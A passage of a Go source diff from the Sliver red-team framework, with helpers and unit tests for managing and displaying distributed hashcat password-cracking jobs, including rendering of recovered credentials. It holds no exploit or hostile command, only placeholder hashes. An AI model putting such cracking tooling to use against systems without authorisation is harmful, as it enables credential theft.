if descriptor := field.Enum().Values().ByNumber(value.Enum()); descriptor != nil {
|
||||
return string(descriptor.Name())
|
||||
}
|
||||
return strconv.FormatInt(int64(value.Enum()), 10)
|
||||
case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind,
|
||||
protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind:
|
||||
return strconv.FormatInt(value.Int(), 10)
|
||||
case protoreflect.Uint32Kind, protoreflect.Fixed32Kind, protoreflect.Uint64Kind, protoreflect.Fixed64Kind:
|
||||
return strconv.FormatUint(value.Uint(), 10)
|
||||
case protoreflect.FloatKind:
|
||||
return strconv.FormatFloat(value.Float(), 'f', -1, 32)
|
||||
case protoreflect.DoubleKind:
|
||||
return strconv.FormatFloat(value.Float(), 'f', -1, 64)
|
||||
case protoreflect.BoolKind:
|
||||
return strconv.FormatBool(value.Bool())
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func findProtoField(message protoreflect.Message, names ...string) protoreflect.FieldDescriptor {
|
||||
if !message.IsValid() {
|
||||
return nil
|
||||
}
|
||||
wanted := map[string]struct{}{}
|
||||
for _, name := range names {
|
||||
wanted[normalizedProtoName(name)] = struct{}{}
|
||||
}
|
||||
fields := message.Descriptor().Fields()
|
||||
for index := 0; index < fields.Len(); index++ {
|
||||
field := fields.Get(index)
|
||||
if _, ok := wanted[normalizedProtoName(string(field.Name()))]; ok {
|
||||
return field
|
||||
}
|
||||
if _, ok := wanted[normalizedProtoName(field.JSONName())]; ok {
|
||||
return field
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func normalizedProtoName(value string) string {
|
||||
value = strings.ToLower(value)
|
||||
return strings.NewReplacer("_", "", "-", "").Replace(value)
|
||||
}
|
||||
|
||||
func firstJSONValue(values map[string]any, names ...string) any {
|
||||
for _, name := range names {
|
||||
if value, ok := values[name]; ok {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func jsonPair(value any) (string, string) {
|
||||
items, ok := value.([]any)
|
||||
if !ok || len(items) < 2 {
|
||||
return "", ""
|
||||
}
|
||||
return jsonText(items[0]), jsonText(items[1])
|
||||
}
|
||||
|
||||
func pairText(first, second string) string {
|
||||
if first == "" && second == "" {
|
||||
return "-"
|
||||
}
|
||||
return valueOrDash(first) + "/" + valueOrDash(second)
|
||||
}
|
||||
|
||||
func jsonText(value any) string {
|
||||
switch typed := value.(type) {
|
||||
case nil:
|
||||
return ""
|
||||
case string:
|
||||
return safeCrackCell(typed)
|
||||
case json.Number:
|
||||
return typed.String()
|
||||
case float64:
|
||||
return strconv.FormatFloat(typed, 'f', -1, 64)
|
||||
case bool:
|
||||
return strconv.FormatBool(typed)
|
||||
default:
|
||||
return safeCrackCell(fmt.Sprint(typed))
|
||||
}
|
||||
}
|
||||
|
||||
func formatCrackTime(value string) string {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" || value == "0" {
|
||||
return "-"
|
||||
}
|
||||
if unix, err := strconv.ParseInt(value, 10, 64); err == nil {
|
||||
return time.Unix(unix, 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
if parsed, err := time.Parse(time.RFC3339, value); err == nil {
|
||||
return parsed.UTC().Format(time.RFC3339)
|
||||
}
|
||||
return safeCrackCell(value)
|
||||
}
|
||||
|
||||
func unitValue(value, suffix string) string {
|
||||
if value == "" {
|
||||
return "-"
|
||||
}
|
||||
if numeric, err := strconv.ParseFloat(value, 64); err == nil && numeric < 0 {
|
||||
return "-"
|
||||
}
|
||||
return safeCrackCell(value) + suffix
|
||||
}
|
||||
|
||||
func valueOrDash(value string) string {
|
||||
value = safeCrackCell(value)
|
||||
if value == "" {
|
||||
return "-"
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func safeCrackCell(value string) string {
|
||||
value = strings.Map(func(r rune) rune {
|
||||
if unicode.IsControl(r) {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, value)
|
||||
value = strings.TrimSpace(value)
|
||||
const maximumRunes = 96
|
||||
runes := []rune(value)
|
||||
if len(runes) > maximumRunes {
|
||||
value = string(runes[:maximumRunes-1]) + "…"
|
||||
}
|
||||
return value
|
||||
}
|
||||
@@ -0,0 +1,462 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"google.golang.org/protobuf/reflect/protoreflect"
|
||||
)
|
||||
|
||||
func TestCrackJobCommandsAreRegistered(t *testing.T) {
|
||||
root := Commands(nil)[0]
|
||||
jobs, _, err := root.Find([]string{"jobs"})
|
||||
if err != nil || jobs == root {
|
||||
t.Fatalf("find crack jobs: command=%v error=%v", jobs, err)
|
||||
}
|
||||
top, _, err := root.Find([]string{"top"})
|
||||
if err != nil || top == root {
|
||||
t.Fatalf("find crack top: command=%v error=%v", top, err)
|
||||
}
|
||||
if top.Use != "top" {
|
||||
t.Fatalf("crack top use = %q, want top", top.Use)
|
||||
}
|
||||
if err := top.Args(top, nil); err != nil {
|
||||
t.Fatalf("crack top rejected no arguments: %v", err)
|
||||
}
|
||||
if err := top.Args(top, []string{"unexpected"}); err == nil {
|
||||
t.Fatal("crack top accepted a positional argument")
|
||||
}
|
||||
pollInterval := top.Flags().Lookup("poll-interval")
|
||||
if pollInterval == nil {
|
||||
t.Fatal("crack top is missing --poll-interval")
|
||||
}
|
||||
if got, err := top.Flags().GetDuration("poll-interval"); err != nil || got != time.Second {
|
||||
t.Fatalf("crack top --poll-interval = %s, %v; want %s", got, err, time.Second)
|
||||
}
|
||||
if top.PersistentFlags().Lookup("poll-interval") != nil || root.PersistentFlags().Lookup("poll-interval") != nil {
|
||||
t.Fatal("--poll-interval must remain local to crack top")
|
||||
}
|
||||
if top.InheritedFlags().Lookup("timeout") == nil {
|
||||
t.Fatal("crack top must inherit --timeout")
|
||||
}
|
||||
job, _, err := root.Find([]string{"job", "job-id"})
|
||||
if err != nil || job == root {
|
||||
t.Fatalf("find crack job: command=%v error=%v", job, err)
|
||||
}
|
||||
if job.Flags().Lookup("watch") == nil || job.Flags().Lookup("poll-interval") == nil {
|
||||
t.Fatal("crack job is missing watch flags")
|
||||
}
|
||||
if job.Use != "job [id]" {
|
||||
t.Fatalf("crack job use = %q, want %q", job.Use, "job [id]")
|
||||
}
|
||||
if job.ValidArgsFunction == nil {
|
||||
t.Fatal("crack job is missing ID completion")
|
||||
}
|
||||
if err := job.Args(job, nil); err != nil {
|
||||
t.Fatalf("crack job rejected interactive selection: %v", err)
|
||||
}
|
||||
if err := job.Args(job, []string{"job-id"}); err != nil {
|
||||
t.Fatalf("crack job rejected one job ID: %v", err)
|
||||
}
|
||||
if err := job.Args(job, []string{"first", "second"}); err == nil {
|
||||
t.Fatal("crack job accepted more than one job ID")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveCrackJobIDUsesExplicitIDWithoutListing(t *testing.T) {
|
||||
listed := false
|
||||
selected := false
|
||||
jobID, err := resolveCrackJobID([]string{" full-job-id "}, func() (*clientpb.CrackJobs, error) {
|
||||
listed = true
|
||||
return nil, nil
|
||||
}, func([]*clientpb.CrackJob) (string, error) {
|
||||
selected = true
|
||||
return "", nil
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("resolveCrackJobID: %v", err)
|
||||
}
|
||||
if jobID != "full-job-id" {
|
||||
t.Fatalf("job ID = %q, want full-job-id", jobID)
|
||||
}
|
||||
if listed || selected {
|
||||
t.Fatalf("explicit ID unexpectedly listed=%v selected=%v", listed, selected)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveCrackJobIDSelectsFromListedJobs(t *testing.T) {
|
||||
wantJobs := []*clientpb.CrackJob{{ID: "first"}, {ID: "selected-full-id"}}
|
||||
listCalls := 0
|
||||
selectCalls := 0
|
||||
jobID, err := resolveCrackJobID(nil, func() (*clientpb.CrackJobs, error) {
|
||||
listCalls++
|
||||
return &clientpb.CrackJobs{Jobs: wantJobs}, nil
|
||||
}, func(jobs []*clientpb.CrackJob) (string, error) {
|
||||
selectCalls++
|
||||
if len(jobs) != len(wantJobs) || jobs[1] != wantJobs[1] {
|
||||
t.Fatalf("selector jobs = %#v, want %#v", jobs, wantJobs)
|
||||
}
|
||||
return "selected-full-id", nil
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("resolveCrackJobID: %v", err)
|
||||
}
|
||||
if jobID != "selected-full-id" {
|
||||
t.Fatalf("job ID = %q, want selected-full-id", jobID)
|
||||
}
|
||||
if listCalls != 1 || selectCalls != 1 {
|
||||
t.Fatalf("list calls = %d, select calls = %d; want 1 each", listCalls, selectCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveCrackJobIDHandlesEmptyAndInvalidSelections(t *testing.T) {
|
||||
selectorCalled := false
|
||||
for _, listedJobs := range [][]*clientpb.CrackJob{nil, {nil, {ID: " "}}} {
|
||||
_, err := resolveCrackJobID(nil, func() (*clientpb.CrackJobs, error) {
|
||||
return &clientpb.CrackJobs{Jobs: listedJobs}, nil
|
||||
}, func([]*clientpb.CrackJob) (string, error) {
|
||||
selectorCalled = true
|
||||
return "unused", nil
|
||||
})
|
||||
if !errors.Is(err, errNoCrackJobs) {
|
||||
t.Fatalf("empty job error = %v, want %v", err, errNoCrackJobs)
|
||||
}
|
||||
}
|
||||
if selectorCalled {
|
||||
t.Fatal("selector called with no jobs")
|
||||
}
|
||||
|
||||
_, err := resolveCrackJobID(nil, func() (*clientpb.CrackJobs, error) {
|
||||
return &clientpb.CrackJobs{Jobs: []*clientpb.CrackJob{{ID: "job-id"}}}, nil
|
||||
}, func([]*clientpb.CrackJob) (string, error) {
|
||||
return " ", nil
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "no crack job selected") {
|
||||
t.Fatalf("blank selection error = %v", err)
|
||||
}
|
||||
|
||||
_, err = resolveCrackJobID([]string{" "}, nil, nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "job ID cannot be empty") {
|
||||
t.Fatalf("blank explicit ID error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveCrackJobIDPropagatesUserAbort(t *testing.T) {
|
||||
_, err := resolveCrackJobID(nil, func() (*clientpb.CrackJobs, error) {
|
||||
return &clientpb.CrackJobs{Jobs: []*clientpb.CrackJob{{ID: "job-id"}}}, nil
|
||||
}, func([]*clientpb.CrackJob) (string, error) {
|
||||
return "", forms.ErrUserAborted
|
||||
})
|
||||
if !errors.Is(err, forms.ErrUserAborted) {
|
||||
t.Fatalf("selection error = %v, want user abort", err)
|
||||
}
|
||||
}
|
||||
|
||||
//nolint:gocyclo // One fixture verifies the complete newest-status telemetry contract and all presentation helpers.
|
||||
func TestParseCrackStatusJSONUsesNewestStatus(t *testing.T) {
|
||||
raw := []byte("{\"status\":1,\"progress\":[1,10]}\n" +
|
||||
"{\"session\":\"distributed-job\",\"status\":2,\"target\":\"hashes\",\"progress\":[5,10]," +
|
||||
"\"restore_point\":4,\"recovered_hashes\":[1,3],\"recovered_salts\":[1,2],\"rejected\":7," +
|
||||
"\"time_start\":1700000000,\"estimated_stop\":1700000100," +
|
||||
"\"guess\":{\"guess_mode\":3,\"guess_base\":\"?d?d\",\"guess_base_offset\":1,\"guess_base_count\":10," +
|
||||
"\"guess_base_percent\":25.5,\"guess_mask_length\":2,\"guess_mod\":\"rules\",\"guess_mod_offset\":2,\"guess_mod_count\":4,\"guess_mod_percent\":50},\"devices\":[" +
|
||||
"{\"device_id\":1,\"device_name\":\"GPU 0\",\"device_type\":\"GPU\",\"speed\":1500,\"temp\":65,\"util\":98,\"corespeed\":2100,\"memoryspeed\":9500,\"buslanes\":16}," +
|
||||
"{\"id\":2,\"name\":\"GPU 1\",\"type\":\"GPU\",\"speed\":500,\"temperature\":70,\"utilization\":97}]}\n")
|
||||
|
||||
status, err := parseCrackStatusJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatalf("parseCrackStatusJSON: %v", err)
|
||||
}
|
||||
if status.Status != "2" || status.ProgressCurrent != "5" || status.ProgressTotal != "10" {
|
||||
t.Fatalf("unexpected status: %#v", status)
|
||||
}
|
||||
if got := status.progressText(); got != "5/10 (50.0%)" {
|
||||
t.Fatalf("progressText = %q", got)
|
||||
}
|
||||
if got := status.speedText(); got != "2.00 kH/s" {
|
||||
t.Fatalf("speedText = %q", got)
|
||||
}
|
||||
if got := status.temperatureText(); got != "70 C" {
|
||||
t.Fatalf("temperatureText = %q", got)
|
||||
}
|
||||
if len(status.Devices) != 2 || status.Devices[1].Name != "GPU 1" {
|
||||
t.Fatalf("devices = %#v", status.Devices)
|
||||
}
|
||||
if status.Session != "distributed-job" || status.Target != "hashes" || status.RestorePoint != "4" ||
|
||||
status.RecoveredHashesCurrent != "1" || status.RecoveredHashesTotal != "3" ||
|
||||
status.RecoveredSaltsCurrent != "1" || status.RecoveredSaltsTotal != "2" || status.Rejected != "7" ||
|
||||
status.TimeStart != "1700000000" || status.EstimatedStop != "1700000100" {
|
||||
t.Fatalf("full status fields were not decoded: %#v", status)
|
||||
}
|
||||
if status.Guess.Mode != "3" || status.Guess.Base != "?d?d" || status.Guess.BasePercent != "25.5" || status.Guess.MaskLength != "2" || status.Guess.Mod != "rules" || status.Guess.ModPercent != "50" {
|
||||
t.Fatalf("guess = %#v", status.Guess)
|
||||
}
|
||||
if got := status.guessText(); !strings.Contains(got, "base=?d?d [1/10] (25.5%)") || !strings.Contains(got, "mask-length=2") || !strings.Contains(got, "mod=rules [2/4] (50%)") {
|
||||
t.Fatalf("guessText = %q", got)
|
||||
}
|
||||
if status.Devices[0].CoreSpeed != "2100" || status.Devices[0].MemorySpeed != "9500" || status.Devices[0].BusLanes != "16" {
|
||||
t.Fatalf("extended device telemetry = %#v", status.Devices[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseCrackStatusJSONRejectsMalformedOutput(t *testing.T) {
|
||||
if _, err := parseCrackStatusJSON([]byte("hashcat is still starting")); err == nil {
|
||||
t.Fatal("malformed status output was accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnavailableDeviceTelemetryRendersAsUnknown(t *testing.T) {
|
||||
status := &crackStatusView{Devices: []crackDeviceView{{Temperature: "-1"}}}
|
||||
if got := status.temperatureText(); got != "-" {
|
||||
t.Fatalf("temperatureText = %q, want -", got)
|
||||
}
|
||||
if got := unitValue("-1", " C"); got != "-" {
|
||||
t.Fatalf("unitValue = %q, want -", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackJobIncludesTasksProgressDevicesAndResults(t *testing.T) {
|
||||
status := []byte(`{"session":"job-session","status":2,"target":"hash-file","progress":[25,100],"restore_point":24,"recovered_hashes":[1,2],"recovered_salts":[1,1],"rejected":3,"time_start":1700000000,"estimated_stop":1700000100,"guess":{"guess_mode":3,"guess_base":"?d?d","guess_base_offset":0,"guess_base_count":1},"devices":[{"device_id":1,"device_name":"GPU 0","device_type":"GPU","speed":2500000,"temp":61,"util":99,"fanspeed":45,"corespeed":2100,"memoryspeed":9000,"buslanes":16,"power":125000}]}`)
|
||||
recovered := []byte(`[{"hash":"hash-one","plaintext":"cGxhaW4tb25l"}]`)
|
||||
task := &clientpb.CrackTask{
|
||||
ID: "task-id",
|
||||
HostUUID: "station-id",
|
||||
Kind: clientpb.CrackTaskKind_CRACK_TASK_CRACK,
|
||||
State: clientpb.CrackTaskState_CRACK_TASK_RUNNING,
|
||||
UpdatedAt: 1700000002,
|
||||
LatestStatusJSON: status,
|
||||
RecoveredJSON: recovered,
|
||||
ShardSkip: 100,
|
||||
ShardLimit: 50,
|
||||
}
|
||||
job := &clientpb.CrackJob{
|
||||
ID: "job-id",
|
||||
CreatedAt: "2026-09-09T00:00:00Z",
|
||||
UpdatedAt: 1700000003,
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
Keyspace: "1000000",
|
||||
Tasks: []*clientpb.CrackTask{task},
|
||||
Results: []*clientpb.CrackResult{{
|
||||
Hash: "hash-one",
|
||||
Plaintext: []byte("plain-one"),
|
||||
}, {
|
||||
CredentialID: "credential-id",
|
||||
Hash: "hash-two",
|
||||
Plaintext: []byte("plain-two"),
|
||||
}},
|
||||
}
|
||||
|
||||
rawOutput := renderCrackJob(job, settings.SliverDefault)
|
||||
output := ansi.Strip(rawOutput)
|
||||
for _, expected := range []string{
|
||||
"job-id", "1000000", "task-id", "station-id", "100+50", "25/100 (25.0%)",
|
||||
"2.50 MH/s", "61 C", "GPU 0", "credential-id", "hash-one", "plain-one", "hash-two", "plain-two",
|
||||
"Hashcat Statistics", "job-session", "hash-file", "mode=3", "base=?d?d", "1/2", "1/1",
|
||||
"2100 MHz", "9000 MHz", "16 lanes", "125000 mW", "2023-11-14T22:13:20Z", "2023-11-14T22:15:00Z",
|
||||
} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("rendered job does not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
for _, styled := range []string{
|
||||
console.StyleBoldPrimary.Render("Crack Job"),
|
||||
console.StyleBoldWarning.Render(clientpb.CrackJobStatus_IN_PROGRESS.String()),
|
||||
console.StyleBoldPrimary.Render("Tasks"),
|
||||
console.StyleBoldWarning.Render(clientpb.CrackTaskState_CRACK_TASK_RUNNING.String()),
|
||||
console.StyleBoldPrimary.Render("Hashcat Statistics"),
|
||||
console.StyleBoldPrimary.Render("Devices"),
|
||||
console.StyleBoldSuccess.Render("Recovered Credentials"),
|
||||
} {
|
||||
if !strings.Contains(rawOutput, styled) {
|
||||
t.Fatalf("rendered job is missing Lip Gloss styling %q:\n%s", styled, rawOutput)
|
||||
}
|
||||
}
|
||||
if strings.Contains(rawOutput, console.StylePrimary.Render("task-id")) {
|
||||
t.Fatalf("rendered task ID should use the default foreground color:\n%s", rawOutput)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackJobsSummarizesExtendedFields(t *testing.T) {
|
||||
job := &clientpb.CrackJob{
|
||||
ID: "job-id",
|
||||
CreatedAt: "2026-09-09T00:00:00Z",
|
||||
UpdatedAt: 1700000003,
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
Keyspace: "1000",
|
||||
Tasks: []*clientpb.CrackTask{{ID: "task-id"}},
|
||||
Results: []*clientpb.CrackResult{{Hash: "hash", Plaintext: []byte("plain")}},
|
||||
}
|
||||
rawOutput := renderCrackJobs([]*clientpb.CrackJob{job}, settings.SliverDefault)
|
||||
output := ansi.Strip(rawOutput)
|
||||
for _, expected := range []string{"job-id", "IN_PROGRESS", "1000", "1"} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("rendered jobs do not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(rawOutput, console.StyleBoldPrimary.Render("job-id")) ||
|
||||
!strings.Contains(rawOutput, console.StyleBoldWarning.Render(clientpb.CrackJobStatus_IN_PROGRESS.String())) {
|
||||
t.Fatalf("rendered jobs are missing Lip Gloss ID or status styling:\n%s", rawOutput)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobStatusStyleUsesSemanticPalette(t *testing.T) {
|
||||
tests := []struct {
|
||||
status string
|
||||
want console.TextStyle
|
||||
}{
|
||||
{status: "IN_PROGRESS", want: console.StyleBoldWarning},
|
||||
{status: "CRACK_TASK_RUNNING", want: console.StyleBoldWarning},
|
||||
{status: "CRACK_TASK_QUEUED", want: console.StyleBold},
|
||||
{status: "CRACK_TASK_LEASED", want: console.StyleBoldWarning},
|
||||
{status: "COMPLETED", want: console.StyleBoldSuccess},
|
||||
{status: "CRACK_TASK_COMPLETED", want: console.StyleBoldSuccess},
|
||||
{status: "CRACK_TASK_FAILED", want: console.StyleBoldDanger},
|
||||
{status: "CANCELLED", want: console.StyleBoldGray},
|
||||
{status: "CANCELED", want: console.StyleBoldGray},
|
||||
{status: "CRACK_TASK_CANCELLED", want: console.StyleBoldGray},
|
||||
{status: "UNKNOWN", want: console.StyleBold},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.status, func(t *testing.T) {
|
||||
got := crackJobStatusStyle(test.status)
|
||||
if got.GetBold() != test.want.GetBold() {
|
||||
t.Fatalf("bold = %v, want %v", got.GetBold(), test.want.GetBold())
|
||||
}
|
||||
gotColor := got.GetForeground()
|
||||
wantColor := test.want.GetForeground()
|
||||
if (gotColor == nil) != (wantColor == nil) {
|
||||
t.Fatalf("foreground = %v, want %v", gotColor, wantColor)
|
||||
}
|
||||
if gotColor == nil {
|
||||
return
|
||||
}
|
||||
gotR, gotG, gotB, gotA := gotColor.RGBA()
|
||||
wantR, wantG, wantB, wantA := wantColor.RGBA()
|
||||
if gotR != wantR || gotG != wantG || gotB != wantB || gotA != wantA {
|
||||
t.Fatalf("foreground RGBA = (%d,%d,%d,%d), want (%d,%d,%d,%d)", gotR, gotG, gotB, gotA, wantR, wantG, wantB, wantA)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackJobStylesErrors(t *testing.T) {
|
||||
rawOutput := renderCrackJob(&clientpb.CrackJob{
|
||||
ID: "job-id",
|
||||
Status: clientpb.CrackJobStatus_FAILED,
|
||||
Err: "worker failed",
|
||||
}, settings.SliverDefault)
|
||||
for _, styled := range []string{
|
||||
console.StyleBoldDanger.Render(clientpb.CrackJobStatus_FAILED.String()),
|
||||
console.StyleBoldDanger.Render("Error"),
|
||||
console.StyleDanger.Render("worker failed"),
|
||||
} {
|
||||
if !strings.Contains(rawOutput, styled) {
|
||||
t.Fatalf("rendered error is missing Lip Gloss styling %q:\n%s", styled, rawOutput)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobResultCountUsesSummaryField(t *testing.T) {
|
||||
job := &clientpb.CrackJob{Results: []*clientpb.CrackResult{{Plaintext: []byte("not-a-summary-count")}}}
|
||||
field := findProtoField(job.ProtoReflect(), "ResultCount")
|
||||
want := "-"
|
||||
if field != nil {
|
||||
job.ProtoReflect().Set(field, protoreflect.ValueOfUint64(7))
|
||||
want = "7"
|
||||
}
|
||||
if got := crackJobResultCount(job); got != want {
|
||||
t.Fatalf("crackJobResultCount() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobResultsRenderAuthoritativePlaintextBytes(t *testing.T) {
|
||||
job := &clientpb.CrackJob{Results: []*clientpb.CrackResult{
|
||||
{Hash: "valid", Plaintext: []byte("line\ntext\x1b[31m")},
|
||||
{Hash: "binary", Plaintext: []byte{0xff, 0x00, 0x1b}},
|
||||
{Hash: "nul", Plaintext: []byte{'a', 0, 'b'}},
|
||||
}}
|
||||
results := crackJobResults(job)
|
||||
if len(results) != 3 {
|
||||
t.Fatalf("crackJobResults() = %#v", results)
|
||||
}
|
||||
if results[0].Plaintext != "linetext[31m" {
|
||||
t.Fatalf("valid UTF-8 plaintext = %q, want sanitized text", results[0].Plaintext)
|
||||
}
|
||||
if results[1].Plaintext != "0xff001b" {
|
||||
t.Fatalf("binary plaintext = %q, want 0xff001b", results[1].Plaintext)
|
||||
}
|
||||
if results[2].Plaintext != "0x610062" {
|
||||
t.Fatalf("NUL plaintext = %q, want 0x610062", results[2].Plaintext)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWatchCrackJobPrintsChangesAndStopsAtTerminalState(t *testing.T) {
|
||||
inProgress := &clientpb.CrackJob{ID: "job-id", Status: clientpb.CrackJobStatus_IN_PROGRESS}
|
||||
completed := &clientpb.CrackJob{ID: "job-id", Status: clientpb.CrackJobStatus_COMPLETED}
|
||||
responses := []*clientpb.CrackJob{inProgress, inProgress, completed}
|
||||
requests := 0
|
||||
fetch := func(_ context.Context, id string) (*clientpb.CrackJob, error) {
|
||||
if id != "job-id" {
|
||||
t.Fatalf("job ID = %q", id)
|
||||
}
|
||||
response := responses[requests]
|
||||
requests++
|
||||
return response, nil
|
||||
}
|
||||
updates := make([]clientpb.CrackJobStatus, 0)
|
||||
err := watchCrackJob(context.Background(), "job-id", time.Millisecond, fetch, func(job *clientpb.CrackJob) {
|
||||
updates = append(updates, job.Status)
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("watchCrackJob: %v", err)
|
||||
}
|
||||
if requests != 3 {
|
||||
t.Fatalf("requests = %d, want 3", requests)
|
||||
}
|
||||
if len(updates) != 2 || updates[0] != clientpb.CrackJobStatus_IN_PROGRESS || updates[1] != clientpb.CrackJobStatus_COMPLETED {
|
||||
t.Fatalf("updates = %#v", updates)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWatchCrackJobCancellationAndValidation(t *testing.T) {
|
||||
fetch := func(_ context.Context, _ string) (*clientpb.CrackJob, error) {
|
||||
return &clientpb.CrackJob{ID: "job-id", Status: clientpb.CrackJobStatus_IN_PROGRESS}, nil
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel()
|
||||
if err := watchCrackJob(ctx, "job-id", time.Hour, fetch, nil); !errors.Is(err, context.Canceled) {
|
||||
t.Fatalf("watchCrackJob cancellation error = %v", err)
|
||||
}
|
||||
if err := watchCrackJob(context.Background(), "job-id", 0, fetch, nil); err == nil {
|
||||
t.Fatal("watchCrackJob accepted zero poll interval")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecoveredResultsStripTerminalControlCharacters(t *testing.T) {
|
||||
results := parseRecoveredResults([]byte(`[{"hash":"hash\u001b[31m","plaintext":"cGxhaW4KdGV4dA=="}]`))
|
||||
if len(results) != 1 {
|
||||
t.Fatalf("results = %#v", results)
|
||||
}
|
||||
if strings.ContainsAny(results[0].Hash, "\x1b\n\r") || strings.ContainsAny(results[0].Plaintext, "\x1b\n\r") {
|
||||
t.Fatalf("control characters were not stripped: %#v", results[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecoveredResultsRenderNULPlaintextAsHex(t *testing.T) {
|
||||
results := parseRecoveredResults([]byte(`[{"hash":"hash","plaintext":"YQBi"}]`))
|
||||
if len(results) != 1 {
|
||||
t.Fatalf("results = %#v", results)
|
||||
}
|
||||
if results[0].Plaintext != "0x610062" {
|
||||
t.Fatalf("plaintext = %q, want 0x610062", results[0].Plaintext)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
const crackTopWarningRunes = 256
|
||||
|
||||
// crackTopRPC is the complete wire-level dependency of the crack top client.
|
||||
// Keeping it narrow also makes it difficult for the dashboard to accidentally
|
||||
// fall back to RPCs that expose crack targets or recovered material.
|
||||
type crackTopRPC interface {
|
||||
CrackTop(context.Context, *commonpb.Empty, ...grpc.CallOption) (*clientpb.CrackTopSnapshot, error)
|
||||
}
|
||||
|
||||
type crackTopTaskTelemetry struct {
|
||||
status *crackStatusView
|
||||
parseErr bool
|
||||
progressExact bool
|
||||
}
|
||||
|
||||
// crackTopSnapshot is the client-side representation consumed by the existing
|
||||
// dashboard telemetry code. Jobs and stations contain only fields supplied by
|
||||
// the narrow CrackTop RPC; parsed status is kept separately so no sensitive raw
|
||||
// status JSON has to be reconstructed.
|
||||
type crackTopSnapshot struct {
|
||||
Jobs []*clientpb.CrackJob
|
||||
Stations []*clientpb.Crackstation
|
||||
RefreshedAt time.Time
|
||||
taskTelemetry map[string]crackTopTaskTelemetry
|
||||
}
|
||||
|
||||
// CrackTop snapshots are atomic. A successful refresh replaces all previously
|
||||
// displayed server state, while a failed refresh returns no snapshot and leaves
|
||||
// the model's existing value untouched.
|
||||
func mergeCrackTopSnapshot(_ *crackTopSnapshot, incoming *crackTopSnapshot) *crackTopSnapshot {
|
||||
return incoming
|
||||
}
|
||||
|
||||
func loadCrackTopSnapshot(ctx context.Context, rpc crackTopRPC, perCallTimeout time.Duration, completionTime time.Time) (*crackTopSnapshot, error) {
|
||||
if rpc == nil {
|
||||
return nil, crackTopContextError("load crack top snapshot", errors.New("rpc client is unavailable"))
|
||||
}
|
||||
if ctx == nil {
|
||||
ctx = context.Background()
|
||||
}
|
||||
|
||||
var cancel context.CancelFunc
|
||||
if perCallTimeout > 0 {
|
||||
ctx, cancel = context.WithTimeout(ctx, perCallTimeout)
|
||||
} else {
|
||||
ctx, cancel = context.WithCancel(ctx)
|
||||
}
|
||||
defer cancel()
|
||||
|
||||
wire, err := rpc.CrackTop(ctx, &commonpb.Empty{})
|
||||
if completionTime.IsZero() {
|
||||
completionTime = time.Now()
|
||||
}
|
||||
if err != nil {
|
||||
return nil, crackTopContextError("load crack top snapshot", err)
|
||||
}
|
||||
if wire == nil {
|
||||
return nil, crackTopContextError("load crack top snapshot", errors.New("server returned an empty response"))
|
||||
}
|
||||
|
||||
refreshedAt := completionTime
|
||||
if wire.GetObservedAt() != 0 {
|
||||
refreshedAt = time.Unix(wire.GetObservedAt(), 0)
|
||||
}
|
||||
snapshot := &crackTopSnapshot{
|
||||
Jobs: make([]*clientpb.CrackJob, len(wire.GetJobs())),
|
||||
Stations: make([]*clientpb.Crackstation, len(wire.GetCrackstations())),
|
